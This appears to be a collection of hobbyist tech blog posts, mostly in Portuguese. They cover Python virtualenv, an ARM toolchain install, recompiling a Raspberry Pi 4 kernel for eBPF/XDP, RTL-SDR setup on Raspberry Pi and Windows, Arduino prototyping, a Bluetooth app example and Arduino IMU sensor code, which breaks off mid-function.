Trabalhando com virtualenv no Python

Um dos grandes problemas enfrentados no Python é garantir que todas as versões de bibliotecas são as corretas para determinado projeto. Principalmente quando estamos falando do compartilhamento de código, isto é, o programa funciona perfeitamente na máquina de quem desenvolveu mas quando muda-se de máquina ou o código é enviado para outro usuário ele não roda por falta das dependências utilizadas durante o desenvolvimento.

Outra questão é a “quebra” de projetos anteriores, isto é, com o uso desenfreado do pip install durante um novo projeto, as versões que funcionavam para um código deixam de funcionar.

Para solucionar esse problema, apresentamos aqui um passo-a-passo de como trabalhar com o virtualenv, ele é responsável por permitir um gerenciamento da configuração dos pacotes por projeto (pasta de trabalho), assim você não sai quebrando a configuração da máquina de trabalho e nem os projetos anteriores. É um passo para um desenvolvimento mais robusto.

A ideia desse artigo é servir também como uma referência dos comandos para um uso prático do virtualenv.

Instalando o virtualenv

Antes de tudo você precisa ter o virtualenv instalado na máquina, para isso, utilize o gerenciador de pacotes padrão do Python (pip), conforme segue:

$ pip install virtualenv

A partir de então estará pronto para começar a trabalhar com o virtualenv.

Criando um novo ambiente

Sempre quando se inicia um projeto, para permitir esse maior controle dos pacotes necessários, você primeiro cria um ambiente para seu projeto com o virtualenv, para isso faça o seguinte:

$ python -m venv nome_do_diretorio_virtual

O comando acima funciona tanto no Windows quanto no Linux. Para o nome_do_diretorio_virtual você pode escolher como quiser, eu utilizo .venv pois é um nome comum para uso, outros nomes muito comuns (venv, env, .env, ENV). O legal de usar esses nomes comuns é que o arquivo .gitignore padrão do Github para projetos em Python irá ignorar esse diretório quando você efetuar os envios (git pull) para o repositório.

Ativando seu ambiente

Após a criação do ambiente no passo anterior, caso você dê uma listagem dos arquivos na sua pasta de trabalho irá ver o diretório com o nome escolhido presente lá, mas seu ambiente virtual ainda não está funcionando, para iniciá-lo é necessário o activate.

Para o Windows faça da seguinte forma (você roda o script activate dentro da pasta .venv\Scripts:

PS C:\Users\Dir> .venv\Scripts\activate
(.venv) PS C:\Users\Dir>

Se aparecer na sua linha de comando o nome do seu ambiente criado, conforme exemplo acima com o (.venv), seu ambiente está funcionando e rodando corretamente.

Para o Linux/Mac o comando será:

$ source .venv/bin/activate
(.venv) $

Na linha de comando o comportamento será o mesmo aparecerá o (.venv), mas para isso será necessário utilizar o comando source.

Uso, compartilhamento e desativação

Após o ambiente funcionando e rodando conforme passo anterior, tudo que for feito dentro do virtualenv, com relação à instalação de pacotes, estará restrita ao diretório de trabalho, portanto, se seu código faz uso de um pacote específico, por exemplo:

(.venv) $ pip install requests

O pacote requests estará disponível para os códigos desenvolvidos no ambiente virtual, mas não para todos os códigos em sua máquina.

Para que você possa compartilhar seu projeto com todas as dependências necessárias (pacotes instalados com o pip), é comum encontrar um arquivo chamado requirements.txt, esse arquivo é gerado com o próprio pip através do comando pip, conforme segue:

(.venv) $ pip freeze > requirements.txt

Lembre de executar esse comando com o ambiente ativo (veja o .venv na linha de comando). Esse arquivo requirements.txt possui todas as bibliotecas necessárias para o projeto funcionar e são aquelas que você instalou com o pip install durante o desenvolvimento. O conteúdo desse arquivo são os pacotes e suas versões respectivas, veja um exemplo:

numpy==1.18.2
pandas==1.0.3
requests==2.23.0
Scrapy==2.0.1

Assim quando você for compartilhar seu código você disponibiliza também o arquivo requirements.txt para o trabalho ser reprodutível.

Finalmente, para desativar o virtualenv, para o Windows e Linux/Mac são o mesmo comando deactivate:

(.venv) $ deactivate
$

Utilizando o requirements.txt

Um último ponto é como partindo do arquivo requirements.txt pode-se construir o mesmo ambiente ?

Para isso, considere os passos anteriores para criar um ambiente virtual e assim que o ambiente estiver ativo (activate), rode o seguinte comando:

(.venv) $ pip install -r requirements.txt

Pronto, seu .venv estará com a mesma configuração presente no requirements.txt.

Usando virtualenv com IDEs

Caso você trabalhe com alguma IDE, normalmente é possível você selecionar o ambiente virtual para trabalho.

Tendo o PyCharm como referência, você pode utilizar o Terminal dentro dele para realizar os passos anteriores e configurar na IDE via File > Settings > Project Interpreter, o ambiente virtual estará como opção de uso.

Vide figura:

Selecionando o ambiente virtual na IDE PyCharm

Note também que os pacotes disponíveis nesse .venv são específicos e com versões também específicas.

Ao compartilhar seu trabalho com o requirements.txt e utilizando-se do virtualenv, você garante que em outra máquina o ambiente será o mesmo daquele durante o desenvolvimento. Assim acabando com aquela máxima: “Mas no meu computador funciona…”

Obtendo o ARM GNU Toolchain para desenvolvimento embarcado

Já é a segunda vez que inicio a jornada para configurar um ambiente de desenvolvimento de sistema embarcado baseado na arquitetura ARM Cortex.

Primeiro iniciei com a placa de avaliação STM32 VL Discovery (ARM Cortex M3, 24Mhz, 8kB RAM e 128 kB FLASH), agora que mudei para a STM32 “Bluepill” (STM32F103C8T6) que possui um ARM Cortex-M3 de 72 MHz, 20k de RAM e 128 kB de memória Flash.

Nessa empreitada, o passo inicial da máquina que será utilizada para desenvolvimento é a configuração do cross-compiler que tem o objetivo de compilar um código que é desenvolvido no meu computador pessoal (arquitetura x86) e gerar um arquivo que será carregado em outra arquitetura (no caso Cortex-M), para isso inicia-se a obtenção do GNU Arm Embedded Toolchain que possui um longo caminho no site (developer.arm.com) para chegar até ele, para facilitar a vida segue o link direto do local: aqui

Após fazer o download realize os seguintes passos para configurar de acordo com sua plataforma (no meu caso Ubuntu Linux):

$ sudo -i
# cd /opt
# tar xjf ~user/Downloads/gcc-arm-none-eabi-9-2020-q2-update-x86_64-linux.tar.bz2
# mv gcc-arm-none-eabi-9-2020-q2-update gcc-arm

(retorne para o usuário comum)

$ export PATH="/opt/gcc-arm/bin:$PATH"

(abra um novo terminal)

$ arm-none-eabi-gcc --version
arm-none-eabi-gcc (GNU Arm Embedded Toolchain 9-2020-q2-update) 9.3.1 20200408 (release)
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Para salvar a configuração do PATH para ele sempre enxergar os binários do toolchain o recomendado é incluir a seguinte linha no seu arquivo .bashrc

export PATH="/opt/gcc-arm/bin:$PATH"

Agora seu computador está configurado com o GNU Arm Embedded Toolchain!

Recompilando o kernel na Raspberry Pi 4

Adquiri a Raspberry Pi 4 com o objetivo de realizar alguns experimentos com eBPF/XDP para filtragem de pacotes e este modelo em específico por ter uma interface Ethernet Gigabit disponível.

O Problema

O Raspberry Pi 4 vem nativo com o Kernel 4.19.75-v7l+ e um primeiro passo é checar se os módulos que eu preciso, relativos ao eBPF/XDP, estão habilitados no kernel.

Isto é feito verificando-se o arquivo config:

$sudo modprobe configs
$ zgrep -E "(BPF|XDP)" /proc/config.gz

CONFIG_BPF=y
# CONFIG_BPF_SYSCALL is not set
CONFIG_NETFILTER_XT_MATCH_BPF=m
# CONFIG_BPFILTER is not set
# CONFIG_NET_CLS_BPF is not set
# CONFIG_NET_ACT_BPF is not set
# CONFIG_BPF_JIT is not set
CONFIG_HAVE_EBPF_JIT=y
# CONFIG_NBPFAXI_DMA is not set
# CONFIG_TEST_BPF is not set

O comando acima já permitiu verificar que alguns módulos do kernel relativos ao eBPF não estão ativos. O módulo do XDP nem apareceu na listagem.

Para ativar esses módulos no kernel é necessario realizar uma recompilação do kernel, objetivo desse texto.

Obtendo o kernel

A fonte oficial do Raspberry sobre recompilação do Kernel (em inglês chamado de build) demonstra um passo a passo que vou realizar neste texto e mostra também a possibilidade de realizar uma compilação cruzada (cross-compiling).

A compilação cruzada é muito útil quando sua plataforma embarcada não tem muita capacidade de processamento. Esta restrição em processamento pode resultar em muito tempo para compilar o kernel  ou mesmo não ter espaço suficiente para baixar o código fonte do kernel. Neste texto, farei uma compilação local.

Um primeiro passo é obter todas as ferramentas necessárias via apt:

$ sudo apt-get install git bc bison flex libssl-dev

Em seguida, deve-se baixar o código fonte do kernel no github do Raspberry Pi.

Como estou com o kernel na versão mais atual, não preciso me preocupar em qual branch do github vou pegar o kernel, o atual corresponde ao mesmo kernel que o meu (Branch: rpi-4.19.y), caso o branch atual seja uma versão mais a frente da sua e você não quer atualizar o kernel mas apenas recompilar sua versão atual, atente-se a isso.

Para quem já está acostumado ao ambiente Linux é comum pensar que todo o código do kernel deve ser baixado e compilado no diretório tradicional /usr/src/linux mas fazer isso nesse diretório envolve aspectos de segurança e por isso a boa prática é trabalhar no diretório do usuário sem privilégio root:

$ cd
$ mkdir kernel
$ cd kernel
$ git clone --depth=1 https://github.com/raspberrypi/linux

Configurando o kernel

Configurar o kernel, no nosso caso significa definir os módulos que serão compilados em conjunto com o kernel para resolver nosso problema.

Uma forma muito amigável de realizar essa tarefa é utilizar uma ferramenta chamada “menuconfig” ela apresenta uma interface gráfica que facilita a procura e escolha dos módulos mas para isso é necessário instalar a biblioteca do ncurses:

$ sudo apt-get install libncurses5-dev

Em seguida fazemos (para a Raspberry 4):

$ cd linux
$ KERNEL=kernel7l
$ make bcm2711_defconfig

E finalmente rodamos o menuconfig para configurar os módulos que desejo para essa recompilação:

$ make menuconfig

A navegação no menuconfig e intuitiva e possui as instruções logo no início (setas, barra de espaco, enter, teclas Y/N/M/*), uma dica legal no uso do menuconfig é que você pode pressionar a tecla / que irá abrir uma caixa de busca e assim você pode localizar onde estão os módulos que você deseja ativar.

Por exemplo, digitei xdp na busca e confirmei que o XDP_SOCKETS está em Networking Support -> Network options, ele também mostrou que para ativar esse módulo preciso (“depends on”) ativar o suporte a Network (NET) e a BPF_SYSCALL.

Dentro do menuconfig, faça a seguinte navegação para configurar o XDP/eBPF:

1) General setup <ENTER>
1.1) Enable bpf() system call <SPACE>
1.2) Permanently enable BPF JIT and remove BPF interpreter <SPACE>
1.3) Selecione <SAVE>

O SAVE irá gravar as modificações no arquivo .config

Em seguida, volte para o início do menuconfig e selecione:

1) Networking support <ENTER>
2) Networking options <ENTER>
2.1) XDP sockets <SPACE>
2.2) BPF based packet filtering framework <SPACE>
2.3) enable BPF Just In Time compiler <SPACE>
1.3) Selecione <SAVE>

Você ainda pode teclar / para abrir o menu de pesquisa do menuconfig e buscar por bpf para verificar os módulos que não estão selecionados (=n) e seguir o Location para incluí-los no objetivo da recompilação do kernel.

Após ativar os módulos referentes ao BPF e ao XDP, você pode sair do menuconfig… Como confirmação das modificações você pode executar os seguintes comandos:

$ cat .config | grep XDP
CONFIG_XDP_SOCKETS=y
$ cat .config | grep BPF
CONFIG_CGROUP_BPF=y
CONFIG_BPF=y
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT_ALWAYS_ON=y
CONFIG_NETFILTER_XT_MATCH_BPF=m
CONFIG_BPFILTER=y
CONFIG_BPFILTER_UMH=y
CONFIG_NET_CLS_BPF=m
CONFIG_NET_ACT_BPF=m
CONFIG_BPF_JIT=y
CONFIG_BPF_STREAM_PARSER=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_HAVE_EBPF_JIT=y
# CONFIG_BPF_LIRC_MODE2 is not set
# CONFIG_NBPFAXI_DMA is not set
CONFIG_BPF_EVENTS=y
CONFIG_TEST_BPF=m

Recompilando o kernel

Com o arquivo .config montado corretamente via menuconfig podemos seguir com a recompilação do kernel (build):

$ make -j4 zImage modules dtbs
$ sudo make modules_install
$ sudo cp arch/arm/boot/dts/*.dtb /boot/
$ sudo cp arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/
$ sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/
$ sudo cp arch/arm/boot/zImage /boot/$KERNEL.img

Detalhe que o argumento -j4 do make permite que a compilação utilize os quatro núcleos do processador da Raspberry Pi 4 acelerando este processo (vale também para a RPi 2 e 3).

Este processo leva um tempo razoável de execução e também aumenta consideravelmente a temperatura da Raspberry Pi, por isso e recomendável deixar a placa em um ambiente propício e se possível com uma ventoinha.

Verificando a recompilação

Conforme inicialmente apresentado como problema, esta etapa busca demonstrar o funcionamento do eBPF/XDP após recompilação do kernel, para isso farei uso de um script de exemplo disponível em meu github:

$ git clone https://github.com/gubertoli/ids_ml.git
$ cd ids_ml/examples/bpf
$ sudo apt-get install clang-7
$ make

Carregando na interface eth0:

$ sudo ip -force link set dev eth0 xdp obj portfilter.o sec filter

Verificando:

$ ip link show eth0

Removendo:

$ sudo ip link set dev eth0 xdp off

Configurando o RTL-SDR no Raspberry Pi 3

Este post apresenta a configuração do RTL-SDR para funcionar no Raspberry Pi 3 configurado com a distribuição Raspbian

RTL-SDR on Raspberry Pi 3
RTL-SDR no Raspberry Pi 3

Configurando tudo

Abra o terminal do Raspbian e digite os seguintes comandos:

pi@raspberrypi:~ $ sudo apt-get install gnuradio % leva algum tempo para instalar todos os pacotes

pi@raspberrypi:~ $ gnuradio-companion % se ele abrir o gnuradio-companion, está tudo ok

Instalando os pacotes RTL-SDR e gr-osmosdr

pi@raspberrypi:~ $ sudo apt-get install rtl-sdr gr-osmosdr

Após a instalação com sucesso, coloque o RTL-SDR na porta USB do Raspberry Pi 3 e então liste os dispositivos USB conectados:

pi@raspberrypi:~ $ lsusb

Procure por algo do tipo Realtek device (RTL), no exemplo abaixo “Realtek Semiconductor Corp. RTL2838 DVB-T”:

lsusb on Raspberry Pi 3
lsusb no Raspberry Pi 3

Agora é hora de verificar se o RTL-SDR está funcionando:

pi@raspberrypi:~ $ rtl_test

rtl_test on Raspberry Pi 3
rtl_test no Raspberry Pi 3

No meu caso ele funcionou na primeira tentativa no Raspberry Pi, no entanto, há um problema conhecido de conflito de drivers (já evidenciado no Ubuntu), em que ele associa um driver de TV Digital (dvb_usb_rtl28xxu) ao invés do rtl-sdr, caso tenha este problema, faça o seguinte:

pi@raspberrypi:~ $ sudo rmmod dvb_usb_rtl28xxu % para tornar este fix permanente, você deve mover o driver dvb_usb_rtl28xxu para a blacklist

e, tente novamente:

pi@raspberrypi:~ $ rtl_test

Testes

Instale o GQRX através do apt-get:

pi@raspberrypi:~ $ sudo apt-get install gqrx-sdr

Então execute-o:

pi@raspberrypi:~ $ gqrx

Se não for perguntado (pop-up) para selecionar o “I/O device”, vá em “File” > “I/O Devices” e então selecione Realtek RTL-SDR, agora você pode clicar no botão de “ligar” e será possível ouvir ruídos e ver que a tela de FFT (em cima) e a de waterfall (abaixo) funcionando…

Atenção:

Devido à limitações de processamento do Raspberry Pi, para evitar travamentos, você tem que reduzir a taxa de amostragem no GQRX, para isso acesse:: “File” > “I/O Devices” > “Sample Rate” ou edite o arquivo /home/pi/.config/gqrx/default.conf

RTL-SDR funciona com limite máximo de 2.4 Msps no Raspberry Pi 3 e até 1.44 Msps no Raspberry Pi 2.

Em muitos casos você pode reduzir a carga de processamento ainda mais, reduzindo o tamanho da tela, o sample rate, FFT rate e FFT size (tente 2048 at 10-15 Hz). Se você está interessando somente no FFT, defina Mode para “Demod Off”. Isto vai reduzir significativamente o processamento.

GQRX on Raspberry Pi 3
GQRX no Raspberry Pi 3

Outra opção devido a limitação do GQRX no  Raspberry Pi, você pode tentar o QTCSDR on GitHub que também permite fazer transmissão através do GPIO 18 do Raspberry Pi 3 (rpitx).

Para verificar a recepção:

  • git clone https://github.com/ha7ilm/qtcsdr
  • cd qtcsdr
  • ./rpi-install.sh
  • ./rpi-test.sh

Se o comando rpi-test.sh rodar sem problemas, digite qtcsdr na linha de comando.

pi@raspberrypi:~ $ qtcsdr

qtcsdr on Raspberry Pi 3
qtcsdr no Raspberry Pi 3

 

Parabéns! Agora seu RTL-SDR está funcionando no Raspberry Pi 3.

Instalando e usando o RTL-SDR no Windows

  • O que é SDR ?

Software Defined Radio (SDR) ou em português, Rádio Definido por Software é o termo usado para rádios em que a maioria das funções associadas à camada física (Physical Layer – PHY) anteriormente implementadas com componentes de hardware é implementada via software fazendo uso de técnicas de Processamento de Sinais.

  • O que é RTL-SDR ?

RTL-SDR

Tipicamente o RTL-SDR é composto de um dispositivo USB e uma antena. Originalmente estes dispositivos USB foram criados para captar sinais de TV Digital (Circuito Integrado RTL2832U, daí o termo RTL), no entanto foi descoberto que estes dispositivos poderiam ser usados como receptores genéricos de radiofrequência e consequentemente em aplicações de SDR (Software Defined Radio).

  • Mão na massa

Para uso do RTL-SDR no Windows, recomendo o uso de um pacote SDR disponibilizado pela Airspy (clique aqui)

RTL-SDR no Windows

Neste post usei o “SDR Software Package” que inclui a ferramenta  SDR# rev 1500.
Se desejar, baixe aqui: sdrsharp-x86

Ao descompactar o arquivo sdrsharp-x86.zip, deve-se estar conectado na internet e executar o seguinte arquivo (install-rtlsdr.bat):

Install RTL-SDR batch

Este arquivo irá se conectar ao servidor da OSMOCOM e baixar o driver para o RTL-SDR e também fará o download do Zadig, responsável por instalar o driver do RTL-SDR.
* Neste instante, plugue seu dongle do RTL-SDR e não instale nada que o Windows venha a propor de forma automática.

Na pasta criada a partir do sdrsharp-x86.zip, execute o arquivo zadig.exe como administrador:

Zadig as Admin
Dentro do Zadig, selecione no menu Options > List All Devices de forma a deixar a opção selecionada:
Zadig All Devices
Conforme exemplo acima, ele já encontrou 6 dispositivos (vide barra inferior).
* Neste caso, o Zadig já encontrou o driver referente ao RTL-SDR, na figura abaixo como “RTL2838UHIDIR”, no entanto, conforme Quick Start Guide usado de referência, pode ser o caso que o driver não faça referência direta ao RTL e pode aparecer algo como “Bulk-In, Interface (Interface 0)”.

Garanta que a seta esteja apontando para WinUSB e clique em “Replace Driver”

Zadig Replace DriverZadig Driver Installed
Em seguida podemos verificar (na pasta criada a partir do sdrsharp-x86.zip) os seguintes aplicativos já mencionados:
SDR Apps
Execute o SDRSharp.exe e já defina como “Source” o RTL-SDR (USB):
SDR# Source
Em seguida clique em “Play” e o SDR# já irá iniciar a captura:
SDR# Capture
* Importante! Lembrar de ajustar o ganho RF. Um ganho de “zero” só irá captar sinais muito forte por isso é necessário ajustar o ganho até aparecer o sinal desejado (no exemplo acima nenhum sinal está sendo captado). Para ajustar o ganho, clique em configurações e em seguida ajuste o “RF Gain”:

SDR# Configure drwxr
drwxr SDR# Running

A partir de agora, seu RTL-SDR está configurado no Windows! Agora é procurar projetos para praticar e começar a fuçar com o RTL-SDR.
Qualquer dúvida, use o espaço de perguntas ou entre em contato.

* Apostila drwxr sobre Radiofrequência e RTL-SDR (apresentada no Roadsec 2016)

* Post elaborado usando o Windows 10 (originalmente publicado no drwxr)

Parte 1: Do protótipo ao produto – O caso arduino

O arduino tornou fácil a criação de dispositivos eletrônicos por aqueles que não são especialistas em eletrônica. Essa possibilidade tornou-se possível devido a abstração da “circuitera” / eletrônica que as placas arduino permitem aos desenvolvedores.

arduino uno
arduino uno

Essa abstração permitiu uma evolução sem precedentes no desenvolvimento de produtos eletrônicos e aumentou a quantidade de pessoas tendo contato com a eletrônica e as possibilidades que isso gera como um aumento no surgimento de produtos e também vindo de encontro com tendências tecnológicas como Internet das Coisas.

Essa evolução criou também uma comunidade que hoje é chamada de “makers” em que diversos projetos são compartilhados e novas ideias surgem para criação de dispositivos eletrônicos muitas vezes surgindo a partir de projetos colaborativos como o próprio arduino.

Diferentemente do processo de desenvolvimento de software, a validação de uma ideia não é tão simples a partir da criação de um protótipo de hardware, interação com usuário e feedback para refinamento do produto (Conceito Lean Startup) pois a mudança de um produto de hardware possui um impacto maior que modificações de software, apesar de o arduino permitir um processo de desenvolvimento de produto mais simples e rápido.

Lean Startup - Build, Measure, Learn
Lean Startup – Build, Measure, Learn

Partindo do ponto em que o seu protótipo está validado em uma versão construída com o arduino, o objetivo deste artigo é mostrar a necessidade de evoluir este protótipo em algo customizado com o objetivo de reduzir custos e evoluir ele de um protótipo para um produto.

Arduino Shields
Arduino Shields

Um simples exemplo, você cria um protótipo a partir de um módulo arduino Uno, um shield de relé, um sensor de nível de água que tenha como função medir o nível de água em um reservatório e a partir de valores pré-definidos acionar o relé que tem por função ligar ou desligar uma bomba d’água.

Arduino - Sensor de Nível - Relé - Bomba
Arduino – Sensor de Nível – Relé – Bomba

O custo deste exemplo seria (pesquisa no MercadoLivre):

– Formato Maker: Arduino Uno (R$30) + Shield Relé (R$8) + Sensor Nível Agua (R$15) = R$53

– Formato Produto: Microcontrolador ATMEGA328P com Capacitores e Cristal (R$10) + Relé (R$2,50) + Sensor Nível de água (R$15) + Componentes+Placa Fenolite (R$5) = R$32,50

Uma redução de mais de 60% em uma pesquisa rápida via Mercado Livre.

Parte 2: Criando o circuito “essencial” com ATMEGA328P – O caso arduino

Parte 3: Fazendo o carregamento do protótipo no microcontrolador ATMEGA328P – O caso arduino

Criando aplicativo Mobile com Intel XDK e comunicação Bluetooth

No último final de semana tive a oportunidade de participar do Startup Weekend MAKER Unifei e o grupo que participei definiu como projeto uma plataforma de interação em ambiente virtual (Google Cardboard).

Google Cardboard e Joystick
Google Cardboard e Joystick construído

Essa plataforma de interação foi um Joystick construído com módulo arduino e comunicação Bluetooth.

O objetivo deste artigo é mostrar a integração do Intel XDK com comunicação Bluetooth sendo útil para aqueles que querem implantar essa forma de comunicação em suas aplicações mobile criadas através do Intel XDK.

Uso de API para Bluetooth

Para isso, usamos a API disponível em: https://github.com/don/BluetoothSerial

Descrita como “This plugin enables serial communication over Bluetooth. It was written for communicating between Android or iOS and an Arduino.

Essa mesma API foi criada para uso do arduino com dispositivos mobile. No nosso caso o arduino utilizava um shield do módulo Bluetooth HC-05.

Módulo Bluetooth RS232 HC-05
Módulo Bluetooth RS232 HC-05

Inserindo API no Intel XDK

Estou usando o Intel XDK versão 3522, neste caso, com o projeto já aberto:

  • Clique em “Projects”
  • Vá até o panel “Cordova Hybrid Mobile APP Settings”
  • Clique em “Plugin Management”
  • Clique em “Add Plugins to this Project”
  • Clique em “Third-Party Plugins”
  • Nesta parte você pode escolher colocar o link direto do repositório GIT do projeto (link acima) e opção “Git Repo” ou então “Import Local plugin” caso tenha feito download do plugin via Github do projeto. (Para usar a opção “Git Repo” é necessário ter o GIT instalado no computador)
  • Em seguida clique em “Add Plugin”

Bluetooth Plugin no Intel XDK
Bluetooth Plugin carregado no Intel XDK

Recebendo dados Bluetooth

Voltando para a aba “Develop” do Intel XDK é necessário editar o arquivo “www/js/app.js”, sugiro então modificá-lo para o exemplo “SimpleSerial” disponível no github do projeto, confome segue:

/*
    SimpleSerial index.js
    Created 7 May 2013
    Modified 9 May 2013
    by Tom Igoe
*/


var app = {
    macAddress: "AA:BB:CC:DD:EE:FF",  // get your mac address from bluetoothSerial.list
    chars: "",

/*
    Application constructor
 */
    initialize: function() {
        this.bindEvents();
        console.log("Starting SimpleSerial app");
    },
/*
    bind any events that are required on startup to listeners:
*/
    bindEvents: function() {
        document.addEventListener('deviceready', this.onDeviceReady, false);
        connectButton.addEventListener('touchend', app.manageConnection, false);
    },

/*
    this runs when the device is ready for user interaction:
*/
    onDeviceReady: function() {
        // check to see if Bluetooth is turned on.
        // this function is called only
        //if isEnabled(), below, returns success:
        var listPorts = function() {
            // list the available BT ports:
            bluetoothSerial.list(
                function(results) {
                    app.display(JSON.stringify(results));
                },
                function(error) {
                    app.display(JSON.stringify(error));
                }
            );
        }

        // if isEnabled returns failure, this function is called:
        var notEnabled = function() {
            app.display("Bluetooth is not enabled.")
        }

         // check if Bluetooth is on:
        bluetoothSerial.isEnabled(
            listPorts,
            notEnabled
        );
    },
/*
    Connects if not connected, and disconnects if connected:
*/
    manageConnection: function() {

        // connect() will get called only if isConnected() (below)
        // returns failure. In other words, if not connected, then connect:
        var connect = function () {
            // if not connected, do this:
            // clear the screen and display an attempt to connect
            app.clear();
            app.display("Attempting to connect. " +
                "Make sure the serial port is open on the target device.");
            // attempt to connect:
            bluetoothSerial.connect(
                app.macAddress,  // device to connect to
                app.openPort,    // start listening if you succeed
                app.showError    // show the error if you fail
            );
        };

        // disconnect() will get called only if isConnected() (below)
        // returns success  In other words, if  connected, then disconnect:
        var disconnect = function () {
            app.display("attempting to disconnect");
            // if connected, do this:
            bluetoothSerial.disconnect(
                app.closePort,     // stop listening to the port
                app.showError      // show the error if you fail
            );
        };

        // here's the real action of the manageConnection function:
        bluetoothSerial.isConnected(disconnect, connect);
    },
/*
    subscribes to a Bluetooth serial listener for newline
    and changes the button:
*/
    openPort: function() {
        // if you get a good Bluetooth serial connection:
        app.display("Connected to: " + app.macAddress);
        // change the button's name:
        connectButton.innerHTML = "Disconnect";
        // set up a listener to listen for newlines
        // and display any new data that's come in since
        // the last newline:
        bluetoothSerial.subscribe('\n', function (data) {
            app.clear();
            app.display(data);
        });
    },

/*
    unsubscribes from any Bluetooth serial listener and changes the button:
*/
    closePort: function() {
        // if you get a good Bluetooth serial connection:
        app.display("Disconnected from: " + app.macAddress);
        // change the button's name:
        connectButton.innerHTML = "Connect";
        // unsubscribe from listening:
        bluetoothSerial.unsubscribe(
                function (data) {
                    app.display(data);
                },
                app.showError
        );
    },
/*
    appends @error to the message div:
*/
    showError: function(error) {
        app.display(error);
    },

/*
    appends @message to the message div:
*/
    display: function(message) {
        var display = document.getElementById("message"), // the message div
            lineBreak = document.createElement("br"),     // a line break
            label = document.createTextNode(message);     // create the label

        display.appendChild(lineBreak);          // add a line break
        display.appendChild(label);              // add the message node
    },
/*
    clears the message div:
*/
    clear: function() {
        var display = document.getElementById("message");
        display.innerHTML = "";
    }
};      // end of app

Modificações Necessárias

Para o plugin funcionar com seu dispositivo Bluetooth é necessário alterar a variável macAddress com o endereço MAC do seu dispositivo.

As mensagens Bluetooth são recebidas e tratadas na função display, caso seja necessário tomar decisões, basta avaliar os valores recebidos na variável “message”.

Mais informações podem ser obtidas na página da API ou qualquer dúvida, pode entrar em contato.

ITG-3200 (Gyroscope) & ADXL345 (Accelerometer) – Arduino Example

Recently I got an IMU (Inertial Measurement Unit) from Sparkfun, called SparkFun 6 Degrees of Freedom IMU Digital Combo Board.

IMU Breakout Doard - 6 Degree of Freedom

This IMU has embedded a gyroscope (ITG-3200) and a accelerometer (ADXL345) in a breakout board being useful for application that requires knowledge about orientation, position, and velocity.

The gyroscope is responsible to measure angular velocity on body axes:

  • X Axis – Roll
  • Y Axis – Pitch
  • Z Axis – Yaw

Some examples:

Angular Movements - Gyro Examples

The accelerometer is responsible to measure acceleration on the body axes (x, y and z) that is useful to determine how fast a body is speeding up or slowing down.

Another point is the use of I2C (Inter-Integrated Circuit) bus that is an intra-board serial bus that uses only two “wires” for comunication: one responsible for synchronizing the devices on bus (CLOCK – SCL)  and another one responsible for data transmission (DATA – SDA).

This article aims to present a arduino implementation that simply shows output data from sensors. The references on source code are highly recommended for study before deploy this code in real application.

// SparkFun 6 Degrees of Freedom IMU Digital Combo Board
// ITG-3200 (GYRO) & ADXL345 (ACCEL) - Arduino Example Algorithm
// 
// Author: Gustavo Bertoli
//
// References:
// https://www.sparkfun.com/datasheets/Sensors/Accelerometer/ADXL345.pdf
// http://bildr.org/2011/03/adxl345-arduino/
// https://learn.sparkfun.com/tutorials/itg-3200-hookup-guide
// https://www.sparkfun.com/datasheets/Sensors/Gyro/PS-ITG-3200-00-01.4.pdf
// https://www.sparkfun.com/products/10121

#include <Wire.h>

// I2C Devices Address
#define GYRO 0x68    // ITG-3200 I2C Address - 0x68
#define ACCEL 0x53   // ADXL345  I2C Address - 0x53

// ITG-3200 (GYRO) REGISTERS
#define GYRO_X_H 0x1D
#define GYRO_X_L 0x1E
#define GYRO_Y_H 0x1F
#define GYRO_Y_L 0x20
#define GYRO_Z_H 0x21
#define GYRO_Z_L 0x22
#define DLPF_FS 0x16
#define SMPLRT_DIV 0x15

// ADXL345 (ACCEL) REGISTERS
#define ACCEL_X_L 0x32 
#define ACCEL_X_H 0x33
#define ACCEL_Y_L 0x34
#define ACCEL_Y_H 0x35
#define ACCEL_Z_L 0x36
#define ACCEL_Z_H 0x37
#define POWER_CTL 0x2D
#define DATA_FORMAT 0x31

//ITG-3200
//DLPF, Full Scale Register Bits
//FS_SEL must be set to 3 for proper operation
//Set DLPF_CFG to 3 for 1kHz Fint and 42 Hz Low Pass Filter
char DLPF_CFG_0 = 1<<0;
char DLPF_CFG_1 = 1<<1;
char DLPF_CFG_2 = 1<<2;
char DLPF_FS_SEL_0 = 1<<3;
char DLPF_FS_SEL_1 = 1<<4;

byte adxl345[6];

void setup()
{
  //Set serial communication at 9600 baudrate
  Serial.begin(9600);
  
  //Initialize the I2C communication.
  Wire.begin();

  //Set the gyroscope scale for the outputs to +/-2000 degrees per second
  writeI2C(GYRO, DLPF_FS, (DLPF_FS_SEL_0|DLPF_FS_SEL_1|DLPF_CFG_0));
  //Set the sample rate to 100 hz  
  writeI2C(GYRO, SMPLRT_DIV, 9);

  //to enable measurement mode in ADXL345 (measure bit)
  writeI2C(ACCEL, POWER_CTL, 0b00001000);
  //The DATA_FORMAT register controls the presentation of data to Register 0x32 through Register 0x37
  //writeI2C(ACCEL, DATA_FORMAT, 0b0000);
}

void loop()
{
   int data = 0;
   int x, y ,z; //acceleration - ADXL345
   Serial.println("");
   Serial.println("==============================");
   Serial.println("=ACCELEROMETER DATA (ADXL345)=");
   Serial.println("==============================");
   readI2C(ACCEL,ACCEL_X_L,6);    //ADXL345 multiple-byte read to prevent a change in data between reads of sequential registers
   // each axis reading comes in 10 bit resolution, ie 2 bytes.  Least Significat Byte first!!
   // thus we are converting both bytes in to one int
   x = (((int)adxl345[1]) << 8) | adxl345[0];   
   y = (((int)adxl345[3]) << 8) | adxl345[2];
   z = (((int)adxl345[5]) << 8) | adxl345[4];
   Serial.print("X-axis: ");
   Serial.print(x);
   Serial.print(" Y-axis: ");
   Serial.print(y);
   Serial.print(" Z-axis: ");
   Serial.print(z);
   Serial.println("");
   Serial.println("==============================");
   Serial.println("= GYROSCOPE DATA (ITG-3200)  =");
   Serial.println("==============================");
   //Angular velocity on x axis
   data = readRoll();
   Serial.print("Roll: ");
   Serial.print(data);
   
   //Angular velocity on y axis
   data = readPitch();
   Serial.print(" Pitch: ");
   Serial.print(data);

   //Angular velocity on z axis
   data = readYaw();
   Serial.print(" Yaw: ");
